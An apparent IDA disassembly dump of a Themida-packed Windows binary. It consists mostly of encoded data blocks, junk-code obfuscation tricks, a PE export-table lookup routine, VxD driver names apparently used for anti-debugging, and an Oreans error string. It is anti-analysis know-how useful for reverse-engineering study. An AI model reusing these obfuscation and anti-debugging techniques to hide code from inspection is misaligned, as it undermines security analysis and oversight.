		dd 0E7B2989Eh, 9EC651F1h, 13A65F6Fh, 0E4B1F9A5h, 0C61ECAF3h
		dd 0E792787Eh, 7EA651F1h, 8043494Fh, 4E57E503h,	0C02BE167h
		dd 12AA341Ah, 0CE965E66h, 692E2C8h, 48CEF658h, 58069362h
		dd 0B2989E76h, 0C6580692h, 93D7069Eh, 580692B1h, 0E3F89ABCh
		dd 0F8D94682h, 957Ch, 0CE9D7400h, 555E132Ch, 1A00064Eh
		dd 2E58061Ah, 12F0D706h, 3E4BF7C4h, 32782499h, 51F1EC0Dh
		dd 0ABFDBE18h, 7B308CEh, 99E18DFBh, 0E53DF093h,	4567E57h
		dd 0CE16BA28h, 0FAF0A4C8h, 0D94D345Dh, 7E0788FFh, 0F2BF079Fh
		dd 0A986D8E5h, 0C2F7DA2Eh, 83BC4C2Ah, 5F493891h, 26E51h
		dd 0F3CC1000h, 0AE0FC4A1h, 68537F5Ch, 1D9C3916h, 0D4E9EECBh
		dd 416F4982h, 0F8D52796h, 0B18EE0D9h, 69469827h, 0F0FC4E6Dh
		dd 587C6268h, 95905809h, 0F8C5122Eh, 0AE0DC9A6h, 0C412A35Ch
		dd 983E4BF7h, 87F5D123h, 5F0BB022h, 8A368352h, 0BA029A32h
		dd 0E51CF5B4h, 755C2957h, 0DEE1F744h, 57032BAFh, 9B81874Fh
		dd 0AF5805FCh, 32145887h, 3D5805FDh, 1647F1Bh, 0FDF8D9D9h
		dd 2Eh,	0F9A51314h, 1BA8ABB1h, 0A77457E5h, 0DC608F2Ah
		dd 0E0C208B4h, 0EB5805FBh, 531289C9h, 0BF8D9DDh, 24154334h
		dd 215001B0h, 4ABBh, 4A17D200h,	7784308Dh, 99C8605Bh, 0F1E87255h
		dd 3036FE51h, 51F1E84Ah, 0E7F0D6DCh, 0DC0451F1h, 34A1EE16h
		dd 0DE4C5685h, 4B22EA32h, 1A2C4C4Dh, 696DBAC6h,	44DF2352h
		dd 3057E60Eh, 0A04C6F63h, 0B8951948h, 9EF6A21Bh, 17FBB406h
		dd 332874Ah, 9BE38BF9h,	0E51AD695h, 0B8648C57h,	5D33D9B0h
		dd 685D38EEh, 6A13F539h, 0FC1E5806h, 6C20455Eh,	2CDEF8D9h
		dd 0F5000000h, 0F1E7F7D9h, 1FB48151h, 0E802E8EEh, 0EE1651F1h
		dd 0A493AA56h, 0FEF285EBh, 0ECE936CEh, 26949ECDh, 912C327Ah
		dd 0FF57E6B7h, 13CC85D7h, 0ABB1F9A5h, 57E65B5Eh, 0F3C00830h
		dd 0A986D8E3h, 6F468E2Dh, 0D3D17B10h, 0B41E4DEFh, 0A2D73AA8h
		dd 9F8783B8h, 6A518966h, 58F0ED50h, 0A87278C0h,	745DFD8Eh
		dd 9F37044Ch, 9F4B6E67h, 805DAF47h, 501D6556h, 0E8ED3A83h
		dd 2C38A2D1h, 437A5DBEh, 577C76ECh, 0B44C93D4h,	5D07666Ch
		dd 0D5FD6413h, 79F31BF7h, 614FE32h, 0B7h, 58AA15C7h, 1365587Bh
		dd 0CD1F9C36h, 82D4E5F0h, 398B32A5h, 0DFF8B800h, 22AF8CDEh
		dd 70684597h, 0B620FD4Fh, 1FA7B305h, 95A3319h, 0E54C4758h
		dd 8D334017h, 784EE8D4h, 78D13F49h, 5AB25E5Fh, 0ACB27AC2h
		dd 51F1FDC6h, 7D83B2DAh, 0E671C177h, 0A14D7557h, 11C44294h
		dd 31E5FCA8h, 7594104Bh, 94DC740Ch, 82B10CC7h, 0CA419572h
		dd 99BDEC4h, 32CAF258h,	9E124086h, 52B63168h, 0E1DAFC30h
		dd 9724B28Fh, 0C2F7DEEBh, 9E6BC116h, 7ED68237h,	0AC5DFD4Fh
		dd 18C4F7DFh, 508691C0h, 9A3C196Bh, 0A06D7521h,	0EED4DA33h
		dd 2D1AA9Eh, 71342DAh, 3, 127DE45Eh, 3C49F5CAh,	6875219Ah
		dd 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h
		dd 7A873388h, 33B86459h, 612368h, 24048900h, 4EB468h, 242C8900h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 95BD2414h
		dd 817E4A21h, 662DFFEDh, 88B8500Dh, 0C12F9658h,	0ED0502E0h
		dd 2D5A2E4Eh, 32B471BCh, 2D04E0C1h, 0E63F4F76h,	5458C531h
		dd 8324148Bh, 0EC8304C4h, 242C8904h, 0FF08428Fh, 835A2434h
		dd 34FF04C4h, 0C4835D24h, 0A1DE904h, 0EC8FFFFDh
; ---------------------------------------------------------------------------
		or	al, 52h


loc_57FFE6:				; CODE XREF: sub_57DEF5:loc_57E114j
		mov	eax, 6177391h
		add	eax, ebp
		jmp	eax
sub_57DEF5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 86h
		dd 2617FDC7h, 0D271932Dh, 0E7551039h, 0D615088h, 94358583h
		dd 8099DD4h, 0AB4D467Dh, 60188AFAh, 5A21613Ah, 0EF0EA303h
		dd 0B045ABE8h, 0DF2A4E16h
		db 96h,	3Ch, 63h
byte_580023	db 0Ch			; DATA XREF: Themida_:005497E8o
					; Themida_:00549FECo ...
		dd 0D725E07Ah, 0BD7C470Ah, 882E10E3h, 8D1719D8h, 3050285Ch
		dd 7B2DDCF0h, 6502BFB2h, 823EA5AFh
; ---------------------------------------------------------------------------

locret_580044:				; DATA XREF: ___:off_43285Co
					; ___:00432864o ...
		retf	2A1h
; ---------------------------------------------------------------------------
		db 63h
		dd 0D672D11Ch, 0C9351654h, 0E8490032h, 13h, 48B9D9BDh
		dd 0EEFB0571h, 878BF83Fh, 67CE04B3h, 0FB86EC8h,	605ED8BFh
		dd 0DE9h, 2B881B00h, 1CBCFAD2h,	312F67FBh, 0CAB099FAh
		dd 0F8C68161h, 8B000067h, 80D22BC7h, 34FF4AEFh,	0BBB6632h
		dd 0F98B59E5h, 15ADF181h, 0E981487Ch, 7654868h,	0E091E981h
		dd 0F5120AAh, 1485h, 0FE900h, 56DF0000h, 5274739Eh, 6EA2B22Fh
		dd 0E2019892h, 16048F82h, 0DA8B3FB7h, 0F01EA83h, 4A4AC7BFh
		dd 0EF81664Ah, 0FA816E21h, 0FFFF98D4h, 22850Fh,	80600000h
		dd 9E985CDh, 94000000h,	95C06F41h, 0F67B0BCBh, 26E961h
		dd 0E0310000h, 23319673h, 337B3676h, 44DB8166h,	0FF7CE933h
		dd 9CB4FFFFh, 444528A2h, 59268F03h, 36A2EAE2h, 0BEC6C8CFh
		dd 13E8h, 0AAA73800h, 6E89A91Eh, 841976Fh, 30F36C4Eh, 36656761h
		dd 5031CF81h, 0F5E0CE9h, 0C84h,	68F0F00h, 81000000h, 1D99DAC0h
		dd 1DC68160h, 52000067h, 0E81BB660h, 0Dh, 0EC737686h, 3ECB12B0h
		dd 0F8CA4C0Bh, 586158ECh, 199F68h, 168B5900h, 0F2812CB3h
		dd 61E576F9h, 5E9h, 0E7C47700h,	0EA81BDDFh, 3931094h, 0C281FB8Bh
		dd 1764B1C4h, 8E9h, 90082300h, 277CFB03h, 661689B1h, 0EE81D88Bh
		dd 47D6D6A8h, 5881BE60h, 0D98B51C8h, 0A4C68161h, 8347D6D6h
		dd 850F01E9h, 0FFFFFFAEh, 34EBDF8Bh, 4D534649h,	20205247h
		dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h
		dd 20203233h, 4C445856h, 20205244h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_58081E
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_580218
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580218	proc near		; CODE XREF: Themida_:00580210p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_580218	endp

; ---------------------------------------------------------------------------
		dd 25E73AEDh, 6A60662Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 8A2DC355h, 947AE338h
		dd 0C7F8F00Fh, 17761D85h, 6, 0BB666000h, 0F78175B1h, 412A1A6Fh
		dd 0F5C68B61h, 0FD8B70Fh, 1484h, 0E860F00h, 0E9000000h
		dd 9, 0CD94700Fh, 7DDA899Dh, 10E8C1B4h,	18D0Fh,	0E9F50000h
		dd 0Eh,	5841C7EAh, 5FD20EEFh, 0C1D52720h, 0C166406Fh, 6A08C8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 85893AC3h, 6177621h,	0CBC166F5h, 91B56008h, 0BE8h, 0A54F4700h
		dd 41C3D0F7h, 59BC8DBCh, 840F6159h, 1, 40FB83F8h, 30850Fh
		dd 8DF50000h, 1775F5BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0F190454h, 0FCFBC6AFh
		dd 180E9h, 0FB83F800h, 25850F0Dh, 60000000h, 66D1BF0Fh
		dd 63E4CB81h, 0FDBD8D61h, 0F5061775h, 160E9h, 0AE900h
		dd 0ED200000h, 9F26BD7Dh, 0FAEE3C0Dh, 0F01FB83h, 8F85h
		dd 0BE900h, 837B0000h, 909B1A65h, 0B2E741DCh, 0B70F60EAh
		dd 8D61F8CBh, 177605BDh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 5C1E6734h, 0ADF95D65h
		dd 2E9E724h, 6A000001h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 4009C355h, 71AB77DDh
		dd 3BBB6660h, 2850F4Bh,	53000000h, 8D0F615Fh, 14h, 0FE9h
		dd 891BD700h, 38BA3E98h, 0B530C7B3h, 0B6B160A8h, 0F2AFB83h
		dd 5A85h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 66602E31h, 60FA6EBAh, 5E96160h, 95000000h
		dd 7575B66Bh, 0BD8D6161h, 617760Dh, 0CE9h, 960C7000h, 0FD1E1624h
		dd 5C755762h, 63E98Ah, 8E90000h, 0C5000000h, 7DCAE7Fh
		dd 83E6541Ch, 850F27FBh, 224h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 24C35646h, 0B112C6E4h, 15BD8DF5h
		dd 6A061776h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 60CEC350h, 61E3B1FCh, 0F9FB8B60h
		dd 25BD8961h, 60061776h, 66926BB8h, 0C7816606h,	66616FAFh
		dd 0E960C88Ch, 0Eh, 427D973h, 0AD7873C2h, 98A0E8EDh, 24614F9Fh
		dd 0C00AF803h, 103850Fh, 890F0000h, 8, 2850Fh, 61600000h
		dd 7B4DB58Dh, 8BFC0617h, 177BCD85h, 0F50F906h, 0A81h, 5E900h
		dd 85220000h, 897F929Fh, 6A2414h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 919B61C3h, 18C0Fh, 0F9FC0000h
		dd 244C010Fh, 5870FFEh,	60000000h, 61F85F57h, 57006A5Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 83E4C6DEh, 0FC6024C2h, 1840Fh, 61F90000h, 0FC728966h
		dd 0CE9h, 4655B500h, 0E33EF3B2h, 5412BB20h, 10CEC1CCh
		dd 1B8D0Fh, 0E8600000h,	0Dh, 8DA67D2Ch,	0FFB9F68Eh, 0F1FBA6C3h
		dd 0E7815F20h, 26797630h, 72896661h, 4CDF502h, 14E9h, 96D75F00h
		dd 1376664Dh, 23A279CBh, 5EF55E99h, 0B300D7B9h,	98E92Fh
		dd 0EE90000h, 6A000000h, 17482FA8h, 19BEA893h, 8C968471h
		dd 0CD858B8Eh, 6A06177Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0D5DC352h, 32AF7B82h
		dd 0B58DE2F4h, 6177B4Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 39C35040h, 3C51AD54h,	0CE3709F2h, 12858DF9h
		dd 6A06174Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 7F13C352h, 604B1CECh, 9048D281h
		dd 0FF6174ECh, 8589F5D0h, 617761Dh, 8E960h, 92E10000h
		dd 25326681h, 0B966C7CAh, 0FC616809h, 0FE961h, 2E00000h
		dd 589C2A82h, 797BA4C0h, 91DAF572h, 0E9566054h,	0Bh, 0AC148B27h
		dd 0BC5EEEF8h, 5A76EE00h, 5E58BB66h, 1D858B61h,	6A061776h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F01C352h, 18Ah, 8C0FFC00h, 17h, 12E9h, 0D93EA00h
		dd 0D217F168h, 0FE4C5F0Eh, 98504F4Ch, 0C34E382Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 33C35242h, 0B9C5ED78h
		dd 0E83AC46Ch, 12E937h,	2D7D0000h, 0FC2A62AEh, 6AF8B8B7h
		dd 78B68491h, 5A40A16h,	53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 25D687F8h, 0F94FEBD6h
		dd 0CDBD83FCh, 6177Bh, 31850Fh,	12E90000h, 0A8000000h
		dd 827E8878h, 0C78155CEh, 7D4815FEh, 0FAB15CAAh, 0CD85C719h
		dd 3F06177Bh, 0F000101h, 0A85h,	5E900h,	7D180000h, 0E99A6E7Ah
		dd 16h,	11E9h, 605F1200h, 9254BCEh, 2811C860h, 26DF8A2Ah
		dd 20CDD029h, 0
; ---------------------------------------------------------------------------


loc_5807B0:				; CODE XREF: Themida_:005807E9j
		or	eax, eax
		jz	short loc_5807EB
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+6177625h]
		mov	ecx, 8


loc_5807C2:				; CODE XREF: Themida_:005807C6j
		cmpsb
		jnz	short loc_5807E7
		dec	ecx
		jnz	short loc_5807C2
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+6177621h]
		cmp	ebx, [eax+34h]
		jg	short loc_5807EB
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
		mov	[ebp+617761Dh],	eax
		jmp	short loc_5807EB
; ---------------------------------------------------------------------------


loc_5807E7:				; CODE XREF: Themida_:005807C3j
		mov	eax, [eax]
		jmp	short loc_5807B0
; ---------------------------------------------------------------------------


loc_5807EB:				; CODE XREF: Themida_:005807B2j
					; Themida_:005807D4j ...
		popa
		mov	eax, [ebp+617761Dh]
		iret
; ---------------------------------------------------------------------------
		jmp	loc_5807FE
; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------
		cli
		test	byte ptr [ebp+46h], 0FAh


loc_5807FE:				; CODE XREF: Themida_:005807F3j
		push	0
		push	esi
		call	sub_580809
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580809	proc near		; CODE XREF: Themida_:00580801p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_580809	endp

; ---------------------------------------------------------------------------
		db 0EBh, 88h, 9Bh
		db 6Eh,	0F8h
; ---------------------------------------------------------------------------


loc_58081E:				; CODE XREF: Themida_:00580208j
		mov	eax, eax
		jmp	loc_5808A8
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		mov	ebx, [esp+1Ch]
		cmp	word ptr [ebx],	5A4Dh
		jnz	loc_5808A1
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		cmp	word ptr [ebx],	4550h
		jnz	loc_5808A1
		mov	ebx, [ebx+78h]
		add	ebx, [esp+1Ch]
		mov	esi, [ebx+24h]
		add	esi, [esp+1Ch]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [esp+20h]
		add	esi, [esp+20h]
		cld
		or	ecx, 0FFFFFFFFh


loc_58086B:				; CODE XREF: Themida_:00580881j
					; Themida_:00580889j
		inc	ecx
		mov	ebx, [esp+1Ch]
		mov	edx, [edi]
		add	edx, [esp+20h]
		add	edi, 4


loc_580879:				; CODE XREF: Themida_:00580885j
		mov	al, [edx]
		test	al, al
		jz	short loc_580887
		cmp	al, [ebx]
		jnz	short loc_58086B
		inc	ebx
		inc	edx
		jmp	short loc_580879
; ---------------------------------------------------------------------------


loc_580887:				; CODE XREF: Themida_:0058087Dj
		cmp	al, [ebx]
		jnz	short loc_58086B
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [esp+1Ch]


loc_580899:				; CODE XREF: Themida_:005808A3j
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_5808A1:				; CODE XREF: Themida_:00580833j
					; Themida_:00580844j
		xor	eax, eax
		jmp	loc_580899
; ---------------------------------------------------------------------------


loc_5808A8:				; CODE XREF: Themida_:00580820j
		mov	ecx, edx
		jmp	loc_580CAF
; ---------------------------------------------------------------------------
		align 10h
		dd 33000000h, 69206E41h, 7265746Eh, 206C616Eh, 65637865h
		dd 6F697470h, 636F206Eh, 65727563h, 41282064h, 65726464h
		dd 203A7373h, 78257830h, 500D0A29h, 7361656Ch, 63202C65h
		dd 61746E6Fh, 73207463h, 6F707075h, 6F407472h, 6E616572h
		dd 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
		dd 56000000h, 45000000h, 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_580CAF:				; CODE XREF: Themida_:005808AAj
		jmp	loc_581E26
; ---------------------------------------------------------------------------
		or	[ebp+6140995h],	ebx
		mov	eax, [ebp+6143481h]
		mov	[ebp+6140BC1h],	eax
		cmp	[esp+4], eax
		jnz	loc_580DA4
		push	0
		push	esi
		call	sub_580CDB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580CDB	proc near		; CODE XREF: Themida_:00580CD3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_580CDB	endp

; ---------------------------------------------------------------------------
		sbb	cl, [ecx]
		scasd
		shr	byte ptr [ebx+63h], 1
		dec	ecx
		jg	short loc_580CF6
		mov	bh, 29h


loc_580CF6:				; CODE XREF: Themida_:00580CF2j
		xchg	eax, ebp
		mov	eax, ds:60061425h
		mov	si, ax
		popa
		cmp	dword ptr [ebp+61414CDh], 0
		jz	loc_580DA4
		push	0
		push	edx
		call	sub_580D18
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580D18	proc near		; CODE XREF: Themida_:00580D10p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_580D18	endp

; ---------------------------------------------------------------------------
		dd 0E9203F66h, 0Eh, 0E7368A6Bh,	7BD3E0D1h, 406561FEh, 51609319h
		dd 958B5BF9h, 61425E1h,	13858D61h, 0F06143Bh, 680h, 0ED9D8900h
		dd 60061424h, 80F0B70Fh, 0FF6162EBh, 53006AE0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 1D880FF1h
		dd 60000000h, 10E9h, 865CD100h,	9D3E0532h, 0CAFB617Ch
		dd 0B71A89DDh, 39B58BF6h, 6106140Dh
; ---------------------------------------------------------------------------


loc_580DA4:				; CODE XREF: Themida_:00580CCAj
					; Themida_:00580D07j
		mov	eax, [ebp+6140931h]
		push	0
		push	edi
		call	sub_580DB5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580DB5	proc near		; CODE XREF: Themida_:00580DADp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_580DB5	endp

; ---------------------------------------------------------------------------
		db 0ECh, 60h, 89h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		rcl	dword ptr [esi], 1
		adc	al, 6
		pusha
		sub	[ebp+61402E9h],	eax
		popa
		popa
		jmp	loc_580DE3
; ---------------------------------------------------------------------------
		mov	ch, 0A9h
		xchg	eax, esi
		fstp8	st(2)
		xchg	bl, [eax+7Ah]


loc_580DE3:				; CODE XREF: Themida_:00580DD6j
		cmp	[esp+4], eax
		jnz	loc_580E22
		jnp	loc_580DF4
		stc


loc_580DF4:				; CODE XREF: Themida_:00580DEDj
		mov	dword ptr [ebp+61780CCh], 1
		push	0
		push	esi
		call	sub_580E09
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580E09	proc near		; CODE XREF: Themida_:00580E01p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_580E09	endp

; ---------------------------------------------------------------------------
		mov	edi, ebx
		das
		cdq
		retn	65F6h
; ---------------------------------------------------------------------------
		db 5Fh,	0DDh
; ---------------------------------------------------------------------------


loc_580E22:				; CODE XREF: Themida_:00580DE7j
		pusha
		push	0
		push	edi
		call	sub_580E2E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580E2E	proc near		; CODE XREF: Themida_:00580E26p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_580E2E	endp

; ---------------------------------------------------------------------------
		dw 8933h
; ---------------------------------------------------------------------------
		add	byte ptr [esp+ebx*2-75h], 2Bh
		jmp	loc_580E5E
; ---------------------------------------------------------------------------
		dw 3FF9h
		dd 0DDBF1B5Dh, 0AF277AECh, 0D3AC9D2Eh, 2CE70B87h
		db 72h,	0EAh
; ---------------------------------------------------------------------------


loc_580E5E:				; CODE XREF: Themida_:00580E45j
		clc
		jmp	loc_580E82
; ---------------------------------------------------------------------------
		dd 6840F60h, 89000000h,	14045985h, 0E1816606h, 0F61B149h
		dd 188h, 0F900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_580E82:				; CODE XREF: Themida_:00580E5Fj
		mov	eax, 1


loc_580E87:				; CODE XREF: Themida_:00580E8Fj
		xchg	eax, [ebp+617829Fh]
		or	eax, eax
		jnz	short loc_580E87
		push	dword ptr [ebp+6141A59h]
		pop	dword ptr [ebp+61780C4h]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6143525h]
		cmp	dword ptr [ebp+6142C45h], 0
		jz	short loc_580EB8
		push	0
		call	dword ptr [ebp+6141169h]


loc_580EB8:				; CODE XREF: Themida_:00580EAEj
		cmp	dword ptr [ebp+61403D9h], 1
		jz	short loc_580ECE
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6143525h]


loc_580ECE:				; CODE XREF: Themida_:00580EBFj
		push	0
		push	edi
		call	sub_580ED9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580ED9	proc near		; CODE XREF: Themida_:00580ED1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_580ED9	endp

; ---------------------------------------------------------------------------
		dec	ecx
		dec	esp
		sub	byte ptr [edx+0], 57h
		call	sub_580EF7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580EF7	proc near		; CODE XREF: Themida_:00580EEFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_580EF7	endp

; ---------------------------------------------------------------------------
		sar	byte ptr [esi-8], cl
		mov	eax, 0
		or	[ebp+6141C59h],	edi
		mov	edx, [esp+28h]
		push	0
		push	esi
		call	sub_580F24
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580F24	proc near		; CODE XREF: Themida_:00580F1Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_580F24	endp

; ---------------------------------------------------------------------------
		test	[eax+0Ch], al
		jb	loc_580F51
		jmp	loc_580F51
; ---------------------------------------------------------------------------
		db 9Bh
		dd 0ED25A749h, 3E769B30h, 0B4A0F488h
		db 0E1h
; ---------------------------------------------------------------------------


loc_580F51:				; CODE XREF: Themida_:00580F38j
					; Themida_:00580F3Ej
		mov	[ebp+61419ADh],	edi
		mov	[ebp+61402F5h],	eax
		push	0
		push	esi
		call	sub_580F68
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580F68	proc near		; CODE XREF: Themida_:00580F60p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_580F68	endp

; ---------------------------------------------------------------------------
		push	ecx
		sub	[ecx+266D8D29h], ebx
		adc	al, 6
		mov	esi, 3Ch
		push	0
		push	ecx
		call	sub_580F91
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580F91	proc near		; CODE XREF: Themida_:00580F89p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_580F91	endp

; ---------------------------------------------------------------------------
		db 3Dh,	58h, 0FBh
		dd 831238B3h, 0E95B6032h, 6, 0E889CB83h, 0BE96ABCh, 48000000h
		dd 31CC96C4h, 0FFFCB219h, 74036A2Ch, 66F52424h,	0E19D89ADh
		dd 306140Eh, 60242444h,	3897C681h, 8D8B6B8Fh, 6143195h
		dd 840F5061h, 17h, 0F525060h, 0E9585A31h, 0Ah, 0F7023F78h
		dd 40253057h, 896126D9h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 20698EC3h, 11A38CC1h
		dd 8BF815B1h, 83F87840h, 1780CCBDh, 850F0006h, 132h, 820F90F8h
		dd 19h,	840F5250h, 0
		dd 8E9310Fh, 0C000000h,	6DC96EBBh, 5A2265DBh, 850F5058h
		dd 18h,	11E960h, 0A6540000h, 0EFC6AB36h, 0AE296CECh, 496487E6h
		dd 610C927Ah, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0B75D83F3h, 0F81B4893h, 0BD892DF7h
		dd 61404D1h, 313DB529h,	0FE90614h, 82000000h, 3107F7B2h
		dd 86355042h, 0A9B8BE39h, 448B92D3h, 8D092C24h,	61406B5h
		dd 0EE9h, 8DE8400h, 68C1E445h, 5BEC4CD5h, 503ADDD5h, 4810Fh
		dd 0B2600000h, 489611Ch, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0E1A0E7CFh, 6E9C3C1h
		dd 0E5000000h, 6F0CF781h, 359D0925h, 8D06140Ch,	1752AB85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0FF110717h, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0EA052693h
		dd 0FF89D6Bh, 180h, 4403F500h, 6A2824h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 3C93EBC3h
		dd 0BE9h, 0CA262E00h, 0A72E599Ah, 8CA7C70h, 6A18408Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0F5B9C352h, 8D8FBDFh, 6A400Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F6EABEC3h
		dd 0D60FCAFDh, 0FD9D29DDh, 8906142Ah, 1780C885h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0C9B52948h, 89061412h, 1422118Dh, 85095806h,	6140FA5h
		dd 8978708Bh, 142EAD95h, 1CC68306h, 6A96F5h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D15AFAC3h
		dd 8B3CBFDh, 81F58D80h,	24247Ch, 0F100000h, 0F087h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 9800E8Dh, 1403298Dh,	52509006h, 4EBE6660h, 310F61EFh
		dd 7E9h, 0DF8ED400h, 8815C9Ah, 6050585Ah, 8B665250h, 50310FF7h
		dd 5A310F52h, 57585A58h, 7E8h, 27789D00h, 8D7B58BDh, 90615959h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 5AC35545h
		dd 0C33E53B4h, 9DB58917h, 8B06140Fh, 31282444h,	141C7195h
		dd 830F9006h, 9, 0BA616060h, 70DF0404h,	66605061h, 0E8B1DCB9h
		dd 0Eh,	61F503CAh, 123514B2h, 9097385Eh, 6160D458h, 6A906158h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 1A13C355h, 71046CF9h, 8DFC0689h, 1752AB85h
		dd 8B666006h, 0D0FF61D1h, 3F596F5h, 6A242474h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
